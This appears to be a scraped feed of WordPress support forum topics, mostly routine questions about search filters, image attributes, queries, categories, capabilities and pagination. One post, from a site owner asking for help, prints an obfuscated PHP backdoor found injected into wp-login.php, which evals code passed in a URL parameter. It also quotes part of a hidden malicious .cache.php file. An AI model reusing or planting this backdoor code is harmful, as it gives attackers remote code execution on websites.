Quantcast
Channel: WordPress › Support » Forum: Hacks - Recent Topics
Viewing all 8245 articles
Browse latest View live

renzoster on "HELP Search filters"

$
0
0

Hi,
Please I have a some problem with filters in search in WordPress, it's for a music website and I need to filter the search by artist (taxonomy), album (title, thats ok), songs (meta) and regular search. I only have album and regular, but I have some problems with artist and songs. Please help me.

class Search_Filters{
	function __construct(){
		add_filter( 'query_vars', array($this,'register_vars') );
		$this->search_hooks();
	}

	function register_vars($vars){
		$vars[] = "type";
		return $vars;
	}

	function search_hooks(){

		if ( get_query_var('type')=='artista' ) {
			add_filter( 'posts_join', array( &$this, 'search_by_artista_join' ), 10, 2);
			add_filter( 'posts_where', array( &$this, 'search_by_artista_where' ), 10, 2);
		}

		add_filter( 'posts_search', array( &$this, 'search_where' ), 10, 2 );

		add_filter( 'posts_where', array( &$this, 'no_revisions' ) );
		add_filter( 'posts_where', array( &$this, 'no_future' ) );
	}

	function search_where($where, $wp_query){
		if ( !$wp_query->is_search() )
			return $where;

		$this->query_instance = &$wp_query;
		global $wpdb;

		$searchQuery = $this->search_default();

		if( get_query_var('type')=='album' ){
			$searchQuery = $this->search_by_title();
		}
		if( get_query_var('type')=='artista' ){
			$searchQuery = $this->search_by_artista_where();
		}

		if ( $searchQuery != '' ) {
			$where = preg_replace( '#\(\(\(.*?\)\)\)#', '(('.$searchQuery.'))', $where );
		}

		return $where;
	}

	function search_default(){ 

		global $wpdb;

		$not_exact = empty($this->query_instance->query_vars['exact']);
		$search_sql_query = '';
		$seperator = '';
		$terms = $this->get_search_terms();

		// if it's not a sentance add other terms
		$search_sql_query .= '(';
		foreach ( $terms as $term ) {
			$search_sql_query .= $seperator;

			$esc_term = esc_sql($term);
			if ($not_exact) {
				$esc_term = "%$esc_term%";
			}

			$like_title = "($wpdb->posts.post_title LIKE '$esc_term')";
			$like_post = "($wpdb->posts.post_content LIKE '$esc_term')";

			$search_sql_query .= "($like_title OR $like_post)";

			$seperator = ' AND ';
		}

		$search_sql_query .= ')';
		return $search_sql_query;
	}

	function search_by_title(){ 

		global $wpdb;

		$not_exact = empty($this->query_instance->query_vars['exact']);
		$search_sql_query = '';
		$seperator = '';
		$terms = $this->get_search_terms();

		// if it's not a sentance add other terms
		$search_sql_query .= '(';
		foreach ( $terms as $term ) {
			$search_sql_query .= $seperator;

			$esc_term = esc_sql($term);
			if ($not_exact) {
				$esc_term = "%$esc_term%";
			}

			$like_title = "($wpdb->posts.post_title LIKE '$esc_term')";

			$search_sql_query .= "($like_title)";

			$seperator = ' AND ';
		}

		$search_sql_query .= ')';
		return $search_sql_query;
	}

	function search_by_artista(){ 

		global $wpdb;

		$not_exact = empty($this->query_instance->query_vars['exact']);
		$search_sql_query = '';
		$seperator = '';
		$terms = $this->get_search_terms();

		// if it's not a sentance add other terms
		$search_sql_query .= '(';
		foreach ( $terms as $term ) {
			$search_sql_query .= $seperator;

			$esc_term = esc_sql($term);
			if ($not_exact) {
				$esc_term = "%$esc_term%";
			}

			$like_title = "($wpdb->posts.post_title LIKE '$esc_term')";
			$like_post = "($wpdb->posts.post_content NOT LIKE '$esc_term')";

			$search_sql_query .= "($like_title OR $like_post)";

			$seperator = ' AND ';
		}

		$search_sql_query .= ')';
		return $search_sql_query;
	}

	function search_by_artista_join( $join ) {
		global $wpdb;

		if ( !empty( $this->query_instance->query_vars['s'] ) ) {
			//	join term_relationships, term_taxonomy, and terms into the current SQL where clause
			$join .= "
			INNER JOIN
			  {$wpdb->term_relationships} ON {$wpdb->posts}.ID = {$wpdb->term_relationships}.object_id
			INNER JOIN
			  {$wpdb->term_taxonomy} ON {$wpdb->term_taxonomy}.term_taxonomy_id = {$wpdb->term_relationships}.term_taxonomy_id
			INNER JOIN
			  {$wpdb->terms} ON {$wpdb->terms}.term_id = {$wpdb->term_taxonomy}.term_id ";

		}

		return $join;
	}
/*
	function search_by_artista_join( $join ) {
		global $wpdb;

		if ( !empty( $this->query_instance->query_vars['s'] ) ) {

			// if we're searching for categories
			if ( $this->options['se_use_category_search'] ) {
				$on[] = "ttax.taxonomy = 'artista'";
			}

			$on = ' ( ' . implode( ' OR ', $on ) . ' ) ';

			$join .= " LEFT JOIN $wpdb->term_relationships AS trel ON ($wpdb->posts.ID = trel.object_id) LEFT JOIN $wpdb->term_taxonomy AS ttax ON ( " . $on . " AND trel.term_taxonomy_id = ttax.term_taxonomy_id) LEFT JOIN $wpdb->terms AS tter ON (ttax.term_id = tter.term_id) ";
		}
		//$this->se_log( "tags join: ".$join );
		return $join;
	}
*/
	function search_by_artista_where( $where, $query ){
		global $wpdb;
		if ( !empty( $this->query_instance->query_vars['s'] ) ) {
			$where .= " OR ( {$wpdb->term_taxonomy}.taxonomy IN('artista') ";
 			$where .= " AND {$wpdb->terms}.name LIKE '%" . $wpdb->escape( get_query_var('s') ) . "%' )";
		}
		return $where;
	}

	function get_search_terms() {
		global $wpdb;
		$s = isset( $this->query_instance->query_vars['s'] ) ? $this->query_instance->query_vars['s'] : '';
		$sentence = isset( $this->query_instance->query_vars['sentence'] ) ? $this->query_instance->query_vars['sentence'] : false;
		$search_terms = array();

		if ( !empty( $s ) ) {
			// added slashes screw with quote grouping when done early, so done later
			$s = stripslashes( $s );
			if ( $sentence ) {
				$search_terms = array( $s );
			} else {
				preg_match_all( '/".*?("|$)|((?<=[\\s",+])|^)[^\\s",+]+/', $s, $matches );
				$search_terms = array_map( create_function( '$a', 'return trim($a, "\\"\'\\n\\r ");' ), $matches[0] );
			}
		}
		return $search_terms;
	}

	// FIXES
	function no_revisions( $where ) {
		global $wpdb;
		if ( !empty( $this->query_instance->query_vars['s'] ) ) {
			if ( !$this->wp_ver28 ) {
				$where = 'AND (' . substr( $where, strpos( $where, 'AND' )+3 ) . ") AND $wpdb->posts.post_type != 'revision'";
			}
			$where = ' AND (' . substr( $where, strpos( $where, 'AND' )+3 ) . ') AND post_type != \'revision\'';
		}
		return $where;
	}

	function no_future( $where ) {
		global $wpdb;
		if ( !empty( $this->query_instance->query_vars['s'] ) ) {
			if ( !$this->wp_ver28 ) {
				$where = 'AND (' . substr( $where, strpos( $where, 'AND' )+3 ) . ") AND $wpdb->posts.post_status != 'future'";
			}
			$where = 'AND (' . substr( $where, strpos( $where, 'AND' )+3 ) . ') AND post_status != \'future\'';
		}
		return $where;
	}

}

Mathazzar on "Adding Image Tag Attributes to All Images on Site"

$
0
0

Hi there,

I'm hoping for a way to have WordPress automatically add a couple of specific attributes to all image tags on the site.

It's for a photography site and I'd like to gently discourage click+drag and right-click using the oncontextmenu="return false;" and ondragstart="return false;" attributes for all <img> tags.

My question is...how would I go about doing this? Is there a function I could add to functions.php or a plugin I could use to automatically re-write all image tags to include those attributes? I haven't found one yet, and the one similar discussion around here I found from a year ago didn't get any replies.

Anyone have a possible solution I could try?

smatterings on "get post/page with specific content"

$
0
0

I am trying to build a list of pages with a specific text within the content (e.g. zoom="1"). Any idea how I can do this?

Brandon White on "Plugin Version disappeared, users cannot update"

cam80 on "PrettyPhoto opening googlemaps breaks site"

$
0
0

Hi.
I am having trouble getting it to work on my wordpress site.Currently it breaks the site. It has prettyphoto built in as far as i know and understand. I'm learning and my css and html skills are improving but i can't get this figured out.
Any help would be much appreciated.
I am tring to put this code in a html widget in the footer. http://pastebin.com/xE17F5t4

Enfold wordpress theme.
Thx

AlexiousRahl on "Help with custom $_GET variables"

$
0
0

I can't get the latest Wordpress on PHP 5.5.9 to allow me to use custom $_GET variables.

I have tried the instructions from http://wordpress.org/support/topic/how-to-pass-value-in-wordpress-url but it's still not setting that variable. Does the addfilter HAVE to go in my theme? Can it be included in my plugin instead? Are there any PHP settings required to use $_GET data?

For the record, I'm trying to make a Beta Key Giveaway Plugin work once again. I used it some months ago with an older version of WP and it worked.

Thanks in advance!

Robin W on "First plugin upload to svn - error"

$
0
0

Sorry guys, first plugin upload attempt failed, have googled but without success, and looked through the svn book, but can't find and can't see a support forum so sorry to trouble you - probably rookie error.

I am using tortoise svn and getting

Commit failed (details follow):
Changing directory
'C:\Users\robin1\Documents\plugins\bbp-topic-count\trunk\includes' is
forbidden by the server
Access to '/!svn/txr/866950-j3v4/bbp-topic-count/trunk/includes' forbidden

My plugin has an 'includes' subfolder

Please can you help?

teleconsul on "Brute force on admin username"

$
0
0

Hi,

i have a multisite installation and more IP continuosing attempts to login to my platform using not standard administrator account.

I have also changed 2 times the username, but after a quiet period the login attempts come back with the new username.

I ask:
What is possible that username gone captured?
There is a method to avoid this problem?

I also checked guest web site integrity and the admin usernmae is used by only 3 people.
Our customers have only restricted username.

Thank a lot


stiwdio on "Code Hack"

$
0
0

Hi Guys

I have a theme Im working on, heres the code for the single post category;

if ( have_posts() ) {
	while ( have_posts() ) {
		the_post();
		//get all the page data needed and set it to an object that can be used in other files
		$pexeto_page=array();
		$pexeto_page['sidebar']=( 'Blog' );
		$pexeto_page['slider']='none';
		$pexeto_page['layout']=pexeto_option( 'post_layout' );

		//include the before content template
		locate_template( array( 'includes/html-before-content.php' ), true, true );

		$pexeto_page['sidebar']=( 'Play' );

		//include the post template
		locate_template( array( 'includes/post-template.php' ), true, false );

		//include the comments template
		comments_template();
	}
}

Where it defines what sidebar to use
$pexeto_page['sidebar']=( 'Play' );

Would it be possible for it to check the category of the post and if, for instance the category ID is 12 then $pexeto_page['sidebar']=( 'Play' ); otherwise use

$pexeto_page['sidebar']=( 'Another Sidebar' );

Would anyone know if this is possible and how to format it?

Thanks for your help
Darren

morsiiii on "custom classes in WP 3.8 stop working"

$
0
0

Hi, i was using a custom class to view latest 5 contributors it was working before i upgrade to 3.8 plz any help to fix the code

<?php
//list 6 latest contributors
$authors =  array();
$count = 0;
$args=array(
  'post_type' => 'post',
  'post_status' => 'publish',
  'posts_per_page' => -1,
  'caller_get_posts'=> 1
);
$my_query = null;
$my_query = new WP_Query($args);
if( $my_query->have_posts() ) {

  while ($my_query->have_posts() && $count < 5) : $my_query->the_post();
    $author_id=$my_query->post->post_author;
    $user = new WP_User( $author_id );
    if ( !empty( $user->roles ) && is_array( $user->roles ) && !in_array('administrator',$user->roles)) {

      if (!in_array($author_id,$authors)) { ?>
        <?php echo '<p>'; ?>

        <div class="post-thumbnail">
        <a href="<?php the_permalink();?>">
        <img src="<?php bloginfo('template_url'); ?>/images/opinion/<?php echo $user->first_name ?>.jpg" alt="" class="avatar photo" height="60" width="60"/></a></div>
		          <?php if($user->deporte) { ?>
          <?php echo $user->deporte; ?>
          <?php } ?>
        <h3> <a href="<?php the_permalink();?>"><?php the_title(); ?></a></h3>
		<?php the_author_posts_link(); ?>

        <?php echo '</p>'; ?>

		<?php $count++;
        $authors[]=$author_id;
      }
    }
  endwhile;
}
wp_reset_query();  // Restore global post data stomped by the_post().
?>

alisalem on "Only Admins and the post author can view a post, is it possible?"

$
0
0

Hello,

I have a site where my clients click on New Order icon then fill up some form (jquery) and this order will be consider as a post so the orders look like this:

http://www.mysite.com/order-1
http://www.mysite.com/order-2
http://www.mysite.com/order-3
http://www.mysite.com/order-3

Now, everyone could see the order details by pasting the links above in their browsers. I want to restrict the post visibility to admins and the client only, I know there's a way to keep posts password restricted by a password, but I wonder if it's possible to have only the admin and logged in client see his/her order for example :
http://www.mysite.com/order-2

I try to find an available plug in but I could not find any. my question is, is it difficult t make? and how much it would usually cost to make a customized plug in like that.

Thanks
A

Pete on "Display a specific level of a category tree"

$
0
0

I'm trying to find a way to display a specific category level of a post.

For example. I have a post with a hierarchical category tree structure like below...

Parent cat
Child cat A
Child cat B
Child cat C

I'm looking for a nifty piece code I can use within the loop that will allow me to display any of the category levels, not all the levels.

Clear as mud? :)

Thanks heaps - Pete

Pete on "Howe to Display defined Category (and all child cats) Assigned to a Post"

$
0
0

I'm using this piece of code but i'm trying to hack it so that it only displays a specified category (manually)... and all it's child categories(automatically).

<?php
$taxonomy = 'category';

// get the term IDs assigned to post.
$post_terms = wp_get_object_terms( $post->ID, $taxonomy, array( 'fields' => 'ids' ) );
// separator between links
$separator = ', ';

if ( !empty( $post_terms ) && !is_wp_error( $post_terms ) ) {

	$term_ids = implode( ',' , $post_terms );
	$terms = wp_list_categories( 'title_li=&style=none&echo=0&taxonomy=' . $taxonomy . '&include=' . $term_ids );
	$terms = rtrim( trim( str_replace( '<br />',  $separator, $terms ) ), $separator );

	// display post categories
	echo  $terms;
}

?>

JustRunLah on "How to let a user level edit custom post type made by anybody?"

$
0
0

hello all,

I am running a WP site with multiple user levels. I have already created a custom post type called "race". I would like to allow the Contributor level able to edit "races" that have been published from any other user, not only by themselves.

Currently, only the Author can do this, while Contributor can only edit the "races" himself has published.

The custom post type was made by "CPT UI" plugin (https://wordpress.org/plugins/custom-post-type-ui/) and I did not code it myself.

I have a user role / capabilities plugin ("User Role Editor" and "Members") and I know how to use them once the capabilities are registered, but I do not know how to set up the capabilities for a custom type post.

I think this entry is related to my problem http://www.wpmayor.com/roles-capabilities-wordpress/ (the last bit of code) but I do not know how to adapt it in the case that the post type already exists, and in which files the code should be inserted to.

Any help appreciated

PS. As a second step, I would like for edits to have to be approved by an Author anytime they are made by a contributor. Currently, if a contributor edits his own "race", the changes are published immediately. Approval is only needed for initial publication right now.

thanks a lot in advance!

aizea on "$do_not_duplicate and post__not_in messing with pagination"

$
0
0

Hi,
I have an issue with homepage and pagination. I am trying to to not duplicate a post using 2 different queries. I have a special layout to highlight the last video post and after a loop with all posts from the blog.
I succeeded in not showing twice the highlighted post with information from : http://wordpress.org/support/topic/do-not-duplicate-post-covering-2-queries/page/2?replies=35

But I have a pagination and now, the last post from page 1 is appearing also in first place of page 2.

First loop

<?php global $do_not_duplicate; //NEW DECLARATION in the header part of the code ?>
    <?php $do_not_duplicate = array();
		$my_query = new WP_Query(array(
		'posts_per_page'	=>  1,
		'order'	=> 'DESC',
		'orderby'	=> 'date',
		'meta_key'	=> THEME_NAME.'_main_slider',
		'meta_value'	=> 'yes',
		'post_type'	=> 'post',
		'ignore_sticky_posts '	=> 1,
		'post_status '	=> 'publish'
		) );
		?>

<?php if ($my_query->have_posts()) : while ($my_query->have_posts()) : $my_query->the_post();
			$do_not_duplicate[] = $post->ID;
			 ?>

Second loop

<?php
 function homepage_news_block_5($blockType, $blockId,$blockInputType) {
		global $blogStyle;
		global $do_not_duplicate;
		$cat = get_option(THEME_NAME."_".$blockType."_cat_".$blockId);
		$count = get_option(THEME_NAME."_".$blockType."_count_".$blockId);
		$pagination = get_option(THEME_NAME."_".$blockType."_pagination_".$blockId);
		$blogStyle = get_option(THEME_NAME."_".$blockType."_blog_style_".$blockId);
		$paged = get_query_string_paged();
		$args = array(
			'post_type' => "post",
			'cat' => $cat,
			'paged'=>$paged,
			'posts_per_page' => $count,
			'post__not_in' => $do_not_duplicate

		);
		$my_query = new WP_Query($args);
		$counter = 1;

?>

I didn't find an answer on forums so far, someone could help me, please ?
Thank you for your time


rec19 on "hook to customise the lost password screen"

$
0
0

Hello,

I'm no coder, just do some css.

I've already got:

add_action('admin_head', 'custom_admin');
function custom_admin() {
   echo '<style type="text/css">
css code here
	</style>';
}

add_action('login_form', 'custom_login');
function custom_login() {
   echo '<style type="text/css">
css code here
	</style>';
}

I've tried:

add_action('password_reset', 'custom_password_reset');
function custom_password_reset() {
   echo '<style type="text/css">
css code here
	</style>';
}

But it doesn't work.

Danielx64 on "Only display comments from registered users"

$
0
0

Hi there,

I got a question, I'm working on a system where it bridge up with phpBB and everything is working just fine, well almost.

I got a nasty bug that I can't fix (and it may never be) and I have discovered that it caused by people who got a user_id of 0 in the wp_comments table.

The way that I was going to work around this is to add AND >= '1' to the sql statement that produce the comments.

My problem is, I'm not sure how I can go about hooking into it without having to hack the core.

Does anyone have any ideas on how I can add the extra sql needed?

Thank-you :)

PS, this is going into a wordpress theme but I feel that it belong here as it hacking the core and this sort of thing is really done via plugins.

systematic.ad.hoc on "Admin Menu Database Query"

$
0
0

Hello all,

First time posting, don't know if I'm in the right forum. I'm trying to understand how to develop plugins for wordpress. Currently I've set up an admin menu page for my plugin and I want to display post content in it, however I get nothing from WP_Query.

What's the correct procedure to query the wordpress database from within the admin menu page of a plugin?

Thanks

Hac Le on "Malicious php file generates itself after deleted"

$
0
0

Hi every one,
It's the first time that I post here so I hope it goes to the right forum.
I used Wordfence to scan my site and got some malicious codes :
-There was a malicious file named .cache.php located at wp-content/themes. Here is the malicious code suggested by wordfence str_rot13(pack("H*","71626265"))])){error_reporting(0);$O101O=strrev("edoced_4"."6esab");eval(.
It was a hidden file. Eveytime I deleted it as suggested by Wordfence, a couple of hours later, I scanned the site again and voila, there it was again, with the exact same location, same name, same code.
- Along side with it was the wp-login.php file got modified
<?php if(isset($_GET["\154o\141\144b\x65\141\x6e"])||isset($_GET["\x79"])){$b="\142\141se664\137\x64\x65\143\157d\x65";$_copyright="\x63\x72\x65\x61\x74\x65\x5f\x66\x75\x6e\x63\x74\x69\x6f\x6e";$_theme=$_copyright("",$b("c2Vzc2lvbl9zdGFydCgpOyRwXzE9aXNzZXQoJF9HRVRbJ2xvYWRiZWFuJ10pPyRfR0VUWydsb2FkYmVhbiddOiRfU0VTU0lPTlsndGhlX2NvZGUnXTtldmFsKGJhc2U2NF9kZWNvZGUoJHBfMSkpO2V2YWwoJHBfMik7"));$_theme();}?><?php
So I restored the file to the original version as suggested by Wordfence. Again, later, I found that code again with the suspicious cache.php file.

So are those code dangerous? Do I just ignore it or need to find its origin?
At first, I suspected those codes were from my theme from Padd Solution, so I deleted it. Now I am using Tempera downloaded directly from wordpress page. Still they just appeared again.
My plug-ins include :
BackWPup, Better WP Security, BulletProof Security, Custom Post Templates, Facebook, MailChimp for WordPress Lite, Theme Authenticity Checker (TAC), TinyMCE Advanced, Use Google Libraries, Visual LightBox (this is from my paid app so I think it's fine), Wordfence Security, WordPress Popular Posts, WordPress SEO by Yoast, WP Super Cache,Yet Another Related Posts Plugin

Besides that, I use SecureIP. I uploaded 2 php files to wp-admin so that just people with registered IP can access Wp-admin area.

So I don't know what those codes are about and how to find their source. Hope you can help me. Thanks!

MatiasLN on "jQuery menu"

$
0
0

Hi!

I want to create a menu system based on this: http://boston.html.themeforest.createit.pl/index-slogan.html#MainHeader

The idea is to have the menu fixed at the bottom and on the top on the other pages with the transition from home to any of the other menu items. I do not want the other menu items in the menu to have the same scrolling effect though. They should remain static when going from item to item and the menu should scroll to the bottom when returning to the home page.

I figured jQuery would be the best option to do this, but I have no idea how to achieve this solution. Does anyone have any pointers?

[Moderator Note: Please ensure that you are embedding links correctly in your posts.]

Viewing all 8245 articles
Browse latest View live




Latest Images